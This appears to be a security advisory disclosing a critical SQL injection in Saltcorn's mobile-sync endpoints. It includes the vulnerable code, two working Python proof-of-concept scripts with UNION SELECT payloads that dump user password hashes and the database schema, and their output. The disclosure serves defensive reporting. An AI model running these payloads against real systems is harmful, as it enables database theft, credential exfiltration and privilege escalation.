Severity: Critical
CVSS Score: 10
## Summary Saltcorn's mobile-sync routes (`POST /sync/load_changes` and `POST /sync/deletes`) interpolate user-controlled values directly into SQL template literals without parameterization, type-casting, or sanitization. Any authenticated user (role_id ≥ 80, the default "user" role) who has read access to at least one table can inject arbitrary SQL, exfiltrate the entire database including admin password hashes, enumerate all table schemas, and—on a PostgreSQL-backed instance—execute write or DDL operations. ## Details ### Vulnerable code paths **Primary: `packages/server/routes/sync.js` — `getSyncRows()` function** ```js // Line 68 — maxLoadedId branch (no syncFrom) where data_tbl."${db.sqlsanitize(pkName)}" > ${syncInfo.maxLoadedId} // Line 100 — maxLoadedId branch (with syncFrom) and info_tbl.ref > ${syncInfo.maxLoadedId} ``` `syncInfo` is taken verbatim from `req.body.syncInfos[tableName]`. There is no `parseInt()`, `isFinite()`, or parameterized binding applied to `maxLoadedId` before it is embedded into the SQL string passed to `db.query()`. `db.sqlsanitize()` is used elsewhere in the same query to quote *identifiers* (table and column names) — a correct use — but is never applied to *values*, and would not prevent injection anyway because it only escapes double-quote characters. **Variant H1-V2: `packages/server/routes/sync.js` — `getDelRows()` function (lines 173–190)** ```js // Lines 182-183 — syncUntil and syncFrom come from req.body.syncTimestamp / syncFrom where alias.max < to_timestamp(${syncUntil.valueOf() / 1000.0}) and alias.max > to_timestamp(${syncFrom.valueOf() / 1000.0}) ``` `syncUntil = new Date(syncTimestamp)` where `syncTimestamp` comes from `req.body`. The resulting `.valueOf() / 1000.0` is still interpolated as a raw numeric expression. **Route handler: lines 113–170 (`/load_changes`)** ```js router.post( "/load_changes", loggedIn, // <-- only authentication check; no input validation error_catcher(async (req, res) => { const { syncInfos, loadUntil } = req.body || {}; ... // syncInfos[tblName].maxLoadedId is passed directly into getSyncRows ``` ## PoC Please find the attached script to dump the user's DB using a normal user account. ### Dumping users table ```python #!/usr/bin/env python3 import requests import json import re BASE = "http://localhost:3000" EMAIL = "ccx@ccx.com" PASSWORD = "Abcd1234!" s = requests.Session() print("[*] Fetching login page...") r = s.get(f"{BASE}/auth/login") match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text) csrf_login = match.group(1) print("[*] Logging in...") r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login}) print("[*] Extracting authenticated CSRF token...") r = s.get(f"{BASE}/") match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text) csrf = match.group(1) print("[*] Dumping users...") payload = "999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--" body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"} headers = {"CSRF-Token": csrf, "Content-Type": "application/json"} r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers) if r.status_code == 200: print(json.dumps(r.json(), indent=2)) else: print(f"Failed: {r.status_code}") ``` Output: ```bash (dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_sqli_minimal.py [*] Fetching login page... [*] Logging in... [*] Extracting authenticated CSRF token... [*] Dumping users... { "notes": { "rows": [ { "_sync_info_tbl_ref_": "1", "_sync_info_tbl_last_modified_": "admin@admin.com", "_sync_info_tbl_deleted_": "$2a$10$BiEwZkMIpaBrj5yySQhbVuObOp5bpPpfxZYZDtV.VCTv.UxfI7o.6", "id": "1", "owner_id": "1" }, { "_sync_info_tbl_ref_": "80", "_sync_info_tbl_last_modified_": "ccx@ccx.com", "_sync_info_tbl_deleted_": "$2a$10$B0WWDy27n1H5D6M0.drOfOlCfp39jcsmk2Ueopx6R3SUwDV/ii0Hm", "id": "80", "owner_id": "2" } ], "maxLoadedId": "80" } } ``` ### Dumping schema Use the following script below to dump the schema: ```python #!/usr/bin/env python3 import requests import json import re BASE = "http://localhost:3000" EMAIL = "ccx@ccx.com" PASSWORD = "Abcd1234!" s = requests.Session() print("[*] Fetching login page...") r = s.get(f"{BASE}/auth/login") match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text) csrf_login = match.group(1) print("[*] Logging in...") r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login}) print("[*] Extracting authenticated CSRF token...") r = s.get(f"{BASE}/") match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text) csrf = match.group(1) print("[*] Enumerating database schema...") payload = "999 UNION SELECT 1,name,type,CAST(sql AS TEXT),NULL FROM sqlite_master WHERE type='table'--" body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"} headers = {"CSRF-Token": csrf, "Content-Type": "application/json"} r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers) if r.status_code == 200: print(json.dumps(r.json(), indent=2)) else: print(f"HTTP {r.status_code}: {r.text[:500]}") ``` Output: ```bash (dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_schema_enum.py [*] Fetching login page... [*] Logging in... [*] Extracting authenticated CSRF token... [*] Enumerating database schema... { "notes": { "rows": [ { "_sync_info_tbl_ref_": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)", "_sync_info_tbl_last_modified_": "notes", "_sync_info_tbl_deleted_": "table", "id": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)", "owner_id": null }, <SNIP> "maxLoadedId": "CREATE TABLE users (\n id integer primary key, \n email VARCHAR(128) not null unique,\n password VARCHAR(60),\n role_id integer not null references _sc_roles(id)\n , reset_password_token text, reset_password_expiry timestamp, \"language\" text, \"disabled\" boolean not null default false, \"api_token\" text, \"_attributes\" json, \"verification_token\" text, \"verified_on\" timestamp, last_mobile_login timestamp)" } } ``` ## Impact - **Confidentiality: CRITICAL** — Attacker reads the entire database: all user credentials (bcrypt hashes), configuration secrets including `_sc_config`, all user-created data, and the full schema. - **Integrity: CRITICAL** — On PostgreSQL the same endpoint can execute INSERT/UPDATE/DELETE/DROP. On SQLite, multiple-statement injection may be possible depending on driver configuration. - **Availability: CRITICAL** — Attacker can DROP tables or corrupt the database. - **Scope: Changed** — Any authenticated user (role_id=80) can access admin-tier data and beyond. - **Privilege escalation** — Admin password hashes are exfiltrated; offline cracking of weak passwords grants admin access.